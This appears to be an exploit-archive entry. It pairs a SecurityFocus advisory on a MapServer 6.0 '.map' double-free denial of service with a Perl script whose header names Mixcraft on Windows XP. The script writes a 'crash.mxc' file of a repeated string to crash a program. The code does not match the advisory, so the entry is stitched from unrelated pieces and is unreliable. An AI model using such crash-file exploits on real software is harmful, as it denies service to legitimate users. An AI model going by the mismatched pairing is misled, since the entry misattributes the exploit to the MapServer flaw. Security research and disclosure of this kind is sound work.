MapServer 6.0 – ‘.Map’ File Double-Free Remote Denial of Service
source: https://www.securityfocus.com/bid/49374/info MapServer is prone to a remote denial-of-service vulnerability due to a double free condition. Attackers can exploit this issue to crash the application, denying service to legitimate users. Due to the nature of this issue, code execution may be possible; however, this has not been confirmed. Versions prior to MapServer 6.0.1 are vulnerable. #!/usr/bin/perl print q( ######################################################## # home : http://www.D99Y.com # Date : 9/8/2011 # Author : NassRawI # Software Link : http://www.acoustica.com/mixcraft/ # Version : v1.00 Build 10 # Tested on : Windows XP SP2 ######################################################## ); my $file= "crash.mxc"; my $junk= "\x64\x39\x39\x79\x2e\x63\x6f\x6d" x 1000 ; open(d99y,">$file"); print d99y $junk ; close(d99y); print "\n [ # ] Vulnerable File Created !\n" |